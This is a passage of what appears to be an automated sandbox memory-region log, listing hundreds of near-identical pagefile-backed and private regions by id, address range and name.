0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1309 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1310 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1311 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1312 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1313 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1314 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1315 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1316 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1317 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1318 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1319 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1320 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1321 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1322 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1323 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1324 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1325 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1326 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1327 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1328 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1329 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1330 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1331 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1332 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1333 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1334 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1335 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1336 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1337 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1338 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1339 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1340 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1341 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1342 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1343 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1344 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1345 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1346 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1347 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1348 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1349 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1350 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1351 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1352 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1353 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1354 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1355 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1356 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1357 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1358 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1359 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1360 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1361 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1362 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1363 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1364 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1365 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1366 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1367 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1368 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1369 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1370 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1371 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1372 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1373 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1374 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1375 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1376 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1377 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1378 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1379 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1380 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1381 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1382 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1383 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1384 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1385 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1386 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1387 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1388 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1389 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1390 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1391 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1392 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1393 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1394 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1395 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1396 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1397 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1398 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1399 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1400 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1401 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1402 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1403 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1404 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1405 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1406 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1407 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1408 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1409 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1410 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1411 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1412 start_va = 0x4330000 end_va = 0x472ffff entry_point = 0x0 region_type = private name = "private_0x0000000004330000" filename = "" Region: id = 1413 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1414 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1415 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1416 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1417 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1418 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1419 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1420 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1421 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1422 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1423 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1424 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1425 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1426 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1427 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1428 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1429 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1430 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1431 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1432 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1433 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1434 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1435 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1436 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1437 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1438 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1439 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1440 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1441 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1442 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1443 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1444 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1445 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1446 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1447 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1448 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1449 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1450 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1451 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1452 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1453 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1454 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1455 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1456 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1457 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1458 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1459 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1460 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1461 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1462 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1463 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1464 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1465 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1466 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1467 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1468 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1469 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1470 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1471 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 1472 start_va = 0x2d0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1473 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1474 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1475 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1476 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1477 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1478 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1479 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1480 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1481 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1482 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1483 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1484 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1485 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1486 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1487 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1488 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1489 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1490 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1491 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1492 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1493 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1494 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1495 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1496 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1497 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1498 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1499 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1500 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1501 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1502 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1503 start_va = 0x2c0000 end_va = 0x2c7fff entry_point = 